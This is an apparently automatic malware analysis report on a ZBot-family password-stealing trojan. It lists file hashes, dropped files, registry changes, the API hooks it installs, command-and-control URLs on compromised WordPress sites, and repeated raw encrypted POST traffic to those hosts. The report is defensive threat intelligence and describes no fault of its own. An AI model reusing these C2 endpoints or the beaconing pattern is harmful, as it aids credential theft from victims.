MemScan.Trojan.Spy.ZBot.FGD_229022f72d

by malwarelabrobot on September 25th, 2014 in Malware Descriptions.

HEUR:Trojan.Win32.Generic (Kaspersky), MemScan:Trojan.Spy.ZBot.FGD (B) (Emsisoft), MemScan:Trojan.Spy.ZBot.FGD (AdAware), Trojan-PSW.Win32.Zbot.6.FD, Sinowal.YR, GenericInjector.YR, BackdoorCaphaw_QKKBAL.YR, TrojanPSWZbot.YR (Lavasoft MAS)
Behaviour: Trojan-PSW, Trojan, Backdoor


The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Requires JavaScript enabled!

Summary
Dynamic Analysis
Static Analysis
Network Activity
Map
Strings from Dumps
Removals

MD5: 229022f72d5d90cd0ae56646c08e0f95
SHA1: af618487579c1820a83867bd768ec57444a138a9
SHA256: 210af59ab8427675be4cf3711ce8527c8cd041838464ccf66458e382336912fa
SSDeep: 3072:BjTT99iYvWcQa27LVvpkQa5GmgpOFx5uTIAZyZ1lisRK MmREP2SLWqtxtop/p7g:BXvWc52J252QDAZKcsEP2SYPyrpWs
Size: 235008 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: no certificate found
Created at: 2014-08-05 04:07:22
Analyzed on: WindowsXPESX SP3 32-bit


Summary:

Trojan-PSW. Trojan program intended for stealing users passwords.

Payload

No specific payload has been found.

Process activity

The MemScan creates the following process(es):

mscorsvw.exe:172
%original file name%.exe:1696
capi.exe:1260

The MemScan injects its code into the following process(es):

Explorer.EXE:2032

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process %original file name%.exe:1696 makes changes in the file system.
The MemScan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Application Data\Otel\capi.exe (235 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\tmpb8b753d6.bat (177 bytes)

Registry activity

The process mscorsvw.exe:172 makes changes in the system registry.
The MemScan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\.NETFramework\v2.0.50727\NGenService\State]
"AccumulatedWaitIdleTime" = "1260000"

The process %original file name%.exe:1696 makes changes in the system registry.
The MemScan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "73 41 A3 D1 54 24 7F 48 F0 1B 5A F7 99 ED E6 AB"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

The process capi.exe:1260 makes changes in the system registry.
The MemScan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "70 55 EB CA AE 32 9E 8F A2 AC DF 14 F0 5E 84 0E"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

Dropped PE files

MD5 File path
00f0695b3be188fea90865319041bfda c:\Documents and Settings\"%CurrentUserName%"\Application Data\Otel\capi.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

The MemScan installs the following user-mode hooks in WINMM.dll:

PlaySoundW

The MemScan installs the following user-mode hooks in WININET.dll:

HttpEndRequestW
HttpEndRequestA
HttpSendRequestExA
HttpSendRequestW
InternetReadFileExA
InternetSetFilePointer
InternetQueryDataAvailable
HttpOpenRequestW
HttpSendRequestExW
InternetReadFile
HttpQueryInfoA
HttpSendRequestA
InternetCloseHandle
HttpOpenRequestA

The MemScan installs the following user-mode hooks in CRYPT32.dll:

PFXImportCertStore

The MemScan installs the following user-mode hooks in USER32.dll:

SetCursorPos
DefMDIChildProcA
DefFrameProcA
DefDlgProcA
GetClipboardData
DefMDIChildProcW
DefFrameProcW
GetUpdateRgn
RegisterClassA
GetDCEx
ReleaseCapture
SetCapture
DefWindowProcA
CallWindowProcA
GetUpdateRect
PeekMessageA
CallWindowProcW
GetMessagePos
GetCursorPos
EndPaint
BeginPaint
DefWindowProcW
RegisterClassExA
GetMessageA
DefDlgProcW
SwitchDesktop
OpenInputDesktop
RegisterClassExW
RegisterClassW
GetCapture
PeekMessageW
GetMessageW
GetWindowDC
TranslateMessage
GetDC
ReleaseDC

The MemScan installs the following user-mode hooks in ADVAPI32.dll:

CreateProcessAsUserA
CreateProcessAsUserW

The MemScan installs the following user-mode hooks in WS2_32.dll:

WSASend
gethostbyname
send
closesocket
getaddrinfo

The MemScan installs the following user-mode hooks in kernel32.dll:

ExitProcess
GetFileAttributesExW

The MemScan installs the following user-mode hooks in ntdll.dll:

NtCreateThread

Propagation

VersionInfo

No information is available.

PE Sections

Name Virtual Address Virtual Size Raw Size Entropy Section MD5
.text 4096 230888 230912 5.5406 63096f65b98c1898396001852b92356f
.rsrc 237568 1956 2048 3.42287 a9ecfa85a52d233ef6759a0994397bd1
.reloc 241664 890 1024 1.69442 b13d8ac4f11b245ca6fe42c756eac59e

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Total found: 3
4690086d4f210051dee14b8b625df1c7
a53cfedb77e543add710b6fa4013f16c
1b38a4f153c08f214ba0ecb05cf45ccf

URLs

URL IP
hxxp://hirockey.jp/wp-content/themes/photogram/new/file.php 202.143.64.58
hxxp://trinox.jp/wp-content/themes/twentyten/files.php 210.172.144.247
hxxp://210.188.195.35/wp-content/themes/twentytwelve/file.php
hxxp://shizenai.jp/wp-content/themes/twentytwelve/file.php


IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET TROJAN Generic - POST To .php w/Extended ASCII Characters
ET TROJAN Generic -POST To file.php w/Extended ASCII Characters

Traffic

POST /wp-content/themes/twentyten/files.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: trinox.jp
Content-Length: 117
Connection: Keep-Alive
Cache-Control: no-cache

~....C......J
4...g.Z[3<....[N.Z#.\.X1....4E........
O....I2.@....?B.5..Fiy...-.5..c~....w.i!..........^m...V. ...
HTTP/1.1 404 Not Found
Date: Wed, 24 Sep 2014 09:29:12 GMT
Server: Apache
X-Powered-By: PHP/5.2.17
X-Pingback: hXXp://trinox.jp/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Set-Cookie: PHPSESSID=4907a7d839a606ab6acdff2d20137433; path=/
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
106..<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
 "hXXp://VVV.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">..<ht
ml xmlns="hXXp://VVV.w3.org/1999/xhtml" lang="ja">..<head profil
e="hXXp://gmpg.org/xfn/11">..<meta http-equiv="Content-Type" con
tent="..13..text/html; charset=..156..UTF-8" />..<meta http-equi
v="content-style-type" content="text/css" />..<meta http-equiv="
content-script-type" content="text/javascript" />..<meta name="a
uthor" content="" />..<meta name="keyword" content="" />..<
;meta name="google-site-verification" content="zyqVLQ9dhino6JBdjyibnWI
OVgQgQjvRG9MMDp5PIyQ" />..<meta name="description" content="..2a
..............................................3.. - ..63..............
......TRINOX /........................................................
...." />..<title>..2a........................................
......3.. - ..7d....................TRINOX /..........................
..................................</title>..<link rel="styles
heet" href="..91..hXXp://trinox.jp/wp-content/themes/trinox/style.css"
 type="text/css" media="screen" />..<link rel="alternate" type="
application/atom xml" title="..68....................TRINOX /.........
................................................... Atom Feed" href=".
.58..hXXp://trinox.jp/feed/atom" />..<link rel="alternate" type=
"application/rss xml" title="..67....................TRINOX /.........
................................................... RSS Feed" href
<<< skipped >>>


POST /wp-content/themes/photogram/new/file.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: hirockey.jp
Content-Length: 131
Connection: Keep-Alive
Cache-Control: no-cache

..elT'"IYe2g./......8...lc..........6.K....X...a$J
.A..^1<[email protected].!....R...-..}..4....?....s.h..?jjG..lJ~...O5...
/...u.....
HTTP/1.1 404 Not Found
Content-Type: text/html
X-Powered-By: ASP.NET
Date: Wed, 24 Sep 2014 09:29:32 GMT
Content-Length: 1283
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "hXXp://ww
w.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">..<html xmlns="hXXp://
VVV.w3.org/1999/xhtml">..<head>..<meta http-equiv="Content
-Type" content="text/html; charset=shift_jis"/>..<title>404 -
 [email protected]</title>..<style
 type="text/css">..<!--..body{margin:0;font-size:.7em;font-famil
y:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}..fieldset
{padding:0 15px 10px 15px;} ..h1{font-size:2.4em;margin:0;color:#FFF;}
..h2{font-size:1.7em;margin:0;color:#CC0000;} ..h3{font-size:1.2em;mar
gin:10px 0 0 0;color:#000000;} ..#header{width:96%;margin:0 0 0 0;padd
ing:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;colo
r:#FFF;..background-color:#555555;}..#content{margin:0 0 0 2%;position
:relative;}...content-container{background:#FFF;width:96%;margin-top:8
px;padding:10px;position:relative;}..-->..</style>..</head
>..<body>..<div id="header"><h1>.T.[.o.[ .G...[&l
t;/h1></div>..<div id="content">.. <div class="conte
nt-container"><fieldset>..  <h2>404 - [email protected].
B...N.g...................B</h2>..  <h3>...........\.[.X..
.............\.............B.......A...O.....X.........A...........I..
.g.p.s...\...............B</h3>.. </fieldset></div>.
.</div>..</body>..</html>....
<<< skipped >>>


POST /wp-content/themes/twentytwelve/file.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: shizenai.jp
Content-Length: 131
Connection: Keep-Alive
Cache-Control: no-cache

O..b)..... x?.2.......23[T....3&7.....|....o...V.}[=(v..i.....w...^0.....2...e.-...#J...0.(..... D3_&$.]]p..[}I...x....:....B..;...
HTTP/1.1 404 Not Found
Date: Wed, 24 Sep 2014 09:29:19 GMT
Server: Apache
X-Pingback: hXXp://shizenai.jp/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Keep-Alive: timeout=5, max=256
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
2654....<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//
EN"..."hXXp://VVV.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">..&
lt;html xmlns="hXXp://VVV.w3.org/1999/xhtml" xml:lang="en" lang="en"&g
t;..<head>...<title>Nothing found for  Wp Content Themes T
wentytwelve File Php</title>...<meta http-equiv="Content-Type
" content="text/html; charset=UTF-8" />....<meta name="generator
" content="WordPress 4.0" /> <!-- leave this for stats please --
>...<link rel="stylesheet" href="hXXp://shizenai.jp/wp-content/t
hemes/azul/style.css" type="text/css" media="screen" />...<link 
rel="alternate" type="application/rss xml" title="RSS 2.0" href="http:
//shizenai.jp/feed/" />...<link rel="alternate" type="text/xml" 
title="RSS .92" href="hXXp://shizenai.jp/feed/rss/" />...<link r
el="alternate" type="application/atom xml" title="Atom 0.3" href="http
://shizenai.jp/feed/atom/" />...<link rel="pingback" href="http:
//shizenai.jp/xmlrpc.php" />....<link rel='archives' title='2014
...9...' href='hXXp://shizenai.jp/2014/09/' />..<link rel='archi
ves' title='2014...8...' href='hXXp://shizenai.jp/2014/08/' />..<
;link rel='archives' title='2014...7...' href='hXXp://shizenai.jp/2014
/07/' />..<link rel='archives' title='2014...6...' href='hXXp://
shizenai.jp/2014/06/' />..<link rel='archives' title='2014...1..
.' href='hXXp://shizenai.jp/2014/01/' />..<link rel='archives' t
itle='2012...11...' href='hXXp://shizenai.jp/2012/11/' />..<
<<< skipped >>>


POST /wp-content/themes/photogram/new/file.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: hirockey.jp
Content-Length: 128
Connection: Keep-Alive
Cache-Control: no-cache

...6m...lc..
.....*...~q..........."k.{Bt...BH
cE#6h..w.....i...@......,...{.3...=T.....6.....>Z-A8:[email protected]..,
HTTP/1.1 404 Not Found
Content-Type: text/html
X-Powered-By: ASP.NET
Date: Wed, 24 Sep 2014 09:29:23 GMT
Content-Length: 1283
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "hXXp://ww
w.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">..<html xmlns="hXXp://
VVV.w3.org/1999/xhtml">..<head>..<meta http-equiv="Content
-Type" content="text/html; charset=shift_jis"/>..<title>404 -
 [email protected]</title>..<style
 type="text/css">..<!--..body{margin:0;font-size:.7em;font-famil
y:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}..fieldset
{padding:0 15px 10px 15px;} ..h1{font-size:2.4em;margin:0;color:#FFF;}
..h2{font-size:1.7em;margin:0;color:#CC0000;} ..h3{font-size:1.2em;mar
gin:10px 0 0 0;color:#000000;} ..#header{width:96%;margin:0 0 0 0;padd
ing:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;colo
r:#FFF;..background-color:#555555;}..#content{margin:0 0 0 2%;position
:relative;}...content-container{background:#FFF;width:96%;margin-top:8
px;padding:10px;position:relative;}..-->..</style>..</head
>..<body>..<div id="header"><h1>.T.[.o.[ .G...[&l
t;/h1></div>..<div id="content">.. <div class="conte
nt-container"><fieldset>..  <h2>404 - [email protected].
B...N.g...................B</h2>..  <h3>...........\.[.X..
.............\.............B.......A...O.....X.........A...........I..
.g.p.s...\...............B</h3>.. </fieldset></div>.
.</div>..</body>..</html>....
<<< skipped >>>


POST /wp-content/themes/twentyten/files.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: trinox.jp
Content-Length: 128
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: PHPSESSID=4907a7d839a606ab6acdff2d20137433

.....yG..
..6.}L.....m.....O.......LD..%..............^....V.a...I..l..f...:*.G.~.f..0-..O.$.:r_........... ....C;..*,V..
:.....
HTTP/1.1 404 Not Found
Date: Wed, 24 Sep 2014 09:29:15 GMT
Server: Apache
X-Powered-By: PHP/5.2.17
X-Pingback: hXXp://trinox.jp/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
106..<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
 "hXXp://VVV.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">..<ht
ml xmlns="hXXp://VVV.w3.org/1999/xhtml" lang="ja">..<head profil
e="hXXp://gmpg.org/xfn/11">..<meta http-equiv="Content-Type" con
tent="..13..text/html; charset=..156..UTF-8" />..<meta http-equi
v="content-style-type" content="text/css" />..<meta http-equiv="
content-script-type" content="text/javascript" />..<meta name="a
uthor" content="" />..<meta name="keyword" content="" />..<
;meta name="google-site-verification" content="zyqVLQ9dhino6JBdjyibnWI
OVgQgQjvRG9MMDp5PIyQ" />..<meta name="description" content="..2a
..............................................3.. - ..63..............
......TRINOX /........................................................
...." />..<title>..2a........................................
......3.. - ..7d....................TRINOX /..........................
..................................</title>..<link rel="styles
heet" href="..91..hXXp://trinox.jp/wp-content/themes/trinox/style.css"
 type="text/css" media="screen" />..<link rel="alternate" type="
application/atom xml" title="..68....................TRINOX /.........
................................................... Atom Feed" href=".
.58..hXXp://trinox.jp/feed/atom" />..<link rel="alternate" type=
"application/rss xml" title="..67....................TRINOX /.........
................................................... RSS Feed" href
<<< skipped >>>


POST /wp-content/themes/photogram/new/file.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: hirockey.jp
Content-Length: 117
Connection: Keep-Alive
Cache-Control: no-cache

/...6%|..1F.Qx.5....d.YX0?....XM.Y ._.[2....7F.........L....J1.C....<A.6..Ejz.....6..`}....t.j"...........]n...U.(...
HTTP/1.1 404 Not Found
Content-Type: text/html
X-Powered-By: ASP.NET
Date: Wed, 24 Sep 2014 09:29:23 GMT
Content-Length: 1283
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "hXXp://ww
w.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">..<html xmlns="hXXp://
VVV.w3.org/1999/xhtml">..<head>..<meta http-equiv="Content
-Type" content="text/html; charset=shift_jis"/>..<title>404 -
 [email protected]</title>..<style
 type="text/css">..<!--..body{margin:0;font-size:.7em;font-famil
y:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}..fieldset
{padding:0 15px 10px 15px;} ..h1{font-size:2.4em;margin:0;color:#FFF;}
..h2{font-size:1.7em;margin:0;color:#CC0000;} ..h3{font-size:1.2em;mar
gin:10px 0 0 0;color:#000000;} ..#header{width:96%;margin:0 0 0 0;padd
ing:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;colo
r:#FFF;..background-color:#555555;}..#content{margin:0 0 0 2%;position
:relative;}...content-container{background:#FFF;width:96%;margin-top:8
px;padding:10px;position:relative;}..-->..</style>..</head
>..<body>..<div id="header"><h1>.T.[.o.[ .G...[&l
t;/h1></div>..<div id="content">.. <div class="conte
nt-container"><fieldset>..  <h2>404 - [email protected].
B...N.g...................B</h2>..  <h3>...........\.[.X..
.............\.............B.......A...O.....X.........A...........I..
.g.p.s...\...............B</h3>.. </fieldset></div>.
.</div>..</body>..</html>....
<<< skipped >>>


POST /wp-content/themes/photogram/new/file.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: hirockey.jp
Content-Length: 117
Connection: Keep-Alive
Cache-Control: no-cache

/...6%|..1F.Qx.5....d.YX0?....XM.Y ._.[2....7F.........L....J1.C....<A.6..Ejz.....6..`}....t.j"...........]n...U.(...
HTTP/1.1 404 Not Found
Content-Type: text/html
X-Powered-By: ASP.NET
Date: Wed, 24 Sep 2014 09:29:22 GMT
Content-Length: 1283
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "hXXp://ww
w.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">..<html xmlns="hXXp://
VVV.w3.org/1999/xhtml">..<head>..<meta http-equiv="Content
-Type" content="text/html; charset=shift_jis"/>..<title>404 -
 [email protected]</title>..<style
 type="text/css">..<!--..body{margin:0;font-size:.7em;font-famil
y:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}..fieldset
{padding:0 15px 10px 15px;} ..h1{font-size:2.4em;margin:0;color:#FFF;}
..h2{font-size:1.7em;margin:0;color:#CC0000;} ..h3{font-size:1.2em;mar
gin:10px 0 0 0;color:#000000;} ..#header{width:96%;margin:0 0 0 0;padd
ing:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;colo
r:#FFF;..background-color:#555555;}..#content{margin:0 0 0 2%;position
:relative;}...content-container{background:#FFF;width:96%;margin-top:8
px;padding:10px;position:relative;}..-->..</style>..</head
>..<body>..<div id="header"><h1>.T.[.o.[ .G...[&l
t;/h1></div>..<div id="content">.. <div class="conte
nt-container"><fieldset>..  <h2>404 - [email protected].
B...N.g...................B</h2>..  <h3>...........\.[.X..
.............\.............B.......A...O.....X.........A...........I..
.g.p.s...\...............B</h3>.. </fieldset></div>.
.</div>..</body>..</html>....
<<< skipped >>>


POST /wp-content/themes/twentyten/files.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: trinox.jp
Content-Length: 117
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: PHPSESSID=4907a7d839a606ab6acdff2d20137433

~....C......J
4...g.Z[3<....[N.Z#.\.X1....4E........
O....I2.@....?B.5..Fiy...-.5..c~....w.i!..........^m...V. ...
HTTP/1.1 404 Not Found
Date: Wed, 24 Sep 2014 09:29:15 GMT
Server: Apache
X-Powered-By: PHP/5.2.17
X-Pingback: hXXp://trinox.jp/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
26f..<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
 "hXXp://VVV.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">..<ht
ml xmlns="hXXp://VVV.w3.org/1999/xhtml" lang="ja">..<head profil
e="hXXp://gmpg.org/xfn/11">..<meta http-equiv="Content-Type" con
tent="text/html; charset=UTF-8" />..<meta http-equiv="content-st
yle-type" content="text/css" />..<meta http-equiv="content-scrip
t-type" content="text/javascript" />..<meta name="author" conten
t="" />..<meta name="keyword" content="" />..<meta name="g
oogle-site-verification" content="zyqVLQ9dhino6JBdjyibnWIOVgQgQjvRG9MM
Dp5PIyQ" />..<meta name="description" content="..2a.............
.................................3.. - ..63....................TRINOX 
/............................................................" />..
<title>..2a..............................................3.. - .
.7d....................TRINOX /.......................................
.....................</title>..<link rel="stylesheet" href=".
.91..hXXp://trinox.jp/wp-content/themes/trinox/style.css" type="text/c
ss" media="screen" />..<link rel="alternate" type="application/a
tom xml" title="..68....................TRINOX /......................
...................................... Atom Feed" href="..58..hXXp://t
rinox.jp/feed/atom" />..<link rel="alternate" type="application/
rss xml" title="..67....................TRINOX /......................
...................................... RSS Feed" href="..36..http:
<<< skipped >>>


POST /wp-content/themes/twentyten/files.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: trinox.jp
Content-Length: 131
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: PHPSESSID=206fc35592bd9462f3ae8e4b23c08f51

.!...NVd.....G\b...l......r<]...=Xu....3yI. A:........T....R).[....$Y....]rb...6....xe....l.r:...........S`...M.s..r{....!..C^..(4
HTTP/1.1 404 Not Found
Date: Wed, 24 Sep 2014 09:29:23 GMT
Server: Apache
X-Powered-By: PHP/5.2.17
X-Pingback: hXXp://trinox.jp/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
106..<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
 "hXXp://VVV.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">..<ht
ml xmlns="hXXp://VVV.w3.org/1999/xhtml" lang="ja">..<head profil
e="hXXp://gmpg.org/xfn/11">..<meta http-equiv="Content-Type" con
tent="..13..text/html; charset=..156..UTF-8" />..<meta http-equi
v="content-style-type" content="text/css" />..<meta http-equiv="
content-script-type" content="text/javascript" />..<meta name="a
uthor" content="" />..<meta name="keyword" content="" />..<
;meta name="google-site-verification" content="zyqVLQ9dhino6JBdjyibnWI
OVgQgQjvRG9MMDp5PIyQ" />..<meta name="description" content="..2a
..............................................3.. - ..63..............
......TRINOX /........................................................
...." />..<title>..2a........................................
...



POST /wp-content/themes/twentyten/files.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: trinox.jp
Content-Length: 131
Connection: Keep-Alive
Cache-Control: no-cache

.!...NVd.....G\b...l......r<]...=Xu....3yI. A:........T....R).[....$Y....]rb...6....xe....l.r:...........S`...M.s..r{....!..C^..(4
HTTP/1.1 404 Not Found
Date: Wed, 24 Sep 2014 09:29:21 GMT
Server: Apache
X-Powered-By: PHP/5.2.17
X-Pingback: hXXp://trinox.jp/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Set-Cookie: PHPSESSID=206fc35592bd9462f3ae8e4b23c08f51; path=/
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
61d..<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
 "hXXp://VVV.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">..<ht
ml xmlns="hXXp://VVV.w3.org/1999/xhtml" lang="ja">..<head profil
e="hXXp://gmpg.org/xfn/11">..<meta http-equiv="Content-Type" con
tent="text/html; charset=UTF-8" />..<meta http-equiv="content-st
yle-type" content="text/css" />..<meta http-equiv="content-scrip
t-type" content="text/javascript" />..<meta name="author" conten
t="" />..<meta name="keyword" content="" />..<meta name="g
oogle-site-verification" content="zyqVLQ9dhino6JBdjyibnWIOVgQgQjvRG9MM
Dp5PIyQ" />..<meta name="description" content=".................
......................... - ..................TRINOX /................
............................................" />..<title>....
...................................... - ..................TRINOX /...
.........................................................</title>
;..<link rel="stylesheet" href="hXXp://trinox.jp/wp-content/themes/
trinox/style.css" type="text/css" media="screen" />..<link rel="
alternate" type="application/atom xml" title="..................TRINOX
 /............................................................ Atom Fe
ed" href="hXXp://trinox.jp/feed/atom" />..<link rel="alternate" 
type="application/rss xml" title="..................TRINOX /..........
.................................................. RSS Feed" href="htt
p://trinox.jp/feed" />..<link rel="pingback" href="hXXp://tr
<<< skipped >>>


POST /wp-content/themes/photogram/new/file.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: hirockey.jp
Content-Length: 128
Connection: Keep-Alive
Cache-Control: no-cache

...6m...lc..
.....*...~q..........."k.{Bt...BH
cE#6h..w.....i...@......,...{.3...=T.....6.....>Z-A8:[email protected]..,
HTTP/1.1 404 Not Found
Content-Type: text/html
X-Powered-By: ASP.NET
Date: Wed, 24 Sep 2014 09:29:22 GMT
Content-Length: 1283
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "hXXp://ww
w.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">..<html xmlns="hXXp://
VVV.w3.org/1999/xhtml">..<head>..<meta http-equiv="Content
-Type" content="text/html; charset=shift_jis"/>..<title>404 -
 [email protected]</title>..<style
 type="text/css">..<!--..body{margin:0;font-size:.7em;font-famil
y:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}..fieldset
{padding:0 15px 10px 15px;} ..h1{font-size:2.4em;margin:0;color:#FFF;}
..h2{font-size:1.7em;margin:0;color:#CC0000;} ..h3{font-size:1.2em;mar
gin:10px 0 0 0;color:#000000;} ..#header{width:96%;margin:0 0 0 0;padd
ing:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;colo
r:#FFF;..background-color:#555555;}..#content{margin:0 0 0 2%;position
:relative;}...content-container{background:#FFF;width:96%;margin-top:8
px;padding:10px;position:relative;}..-->..</style>..</head
>..<body>..<div id="header"><h1>.T.[.o.[ .G...[&l
t;/h1></div>..<div id="content">.. <div class="conte
nt-container"><fieldset>..  <h2>404 - [email protected].
B...N.g...................B</h2>..  <h3>...........\.[.X..
.............\.............B.......A...O.....X.........A...........I..
.g.p.s...\...............B</h3>.. </fieldset></div>.
.</div>..</body>..</html>....
<<< skipped >>>


POST /wp-content/themes/photogram/new/file.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: hirockey.jp
Content-Length: 131
Connection: Keep-Alive
Cache-Control: no-cache

..elT'"IYe2g./......8...lc..........6.K....X...a$J
.A..^1<[email protected].!....R...-..}..4....?....s.h..?jjG..lJ~...O5...
/...u.....
HTTP/1.1 404 Not Found
Content-Type: text/html
X-Powered-By: ASP.NET
Date: Wed, 24 Sep 2014 09:29:32 GMT
Content-Length: 1283
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "hXXp://ww
w.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">..<html xmlns="hXXp://
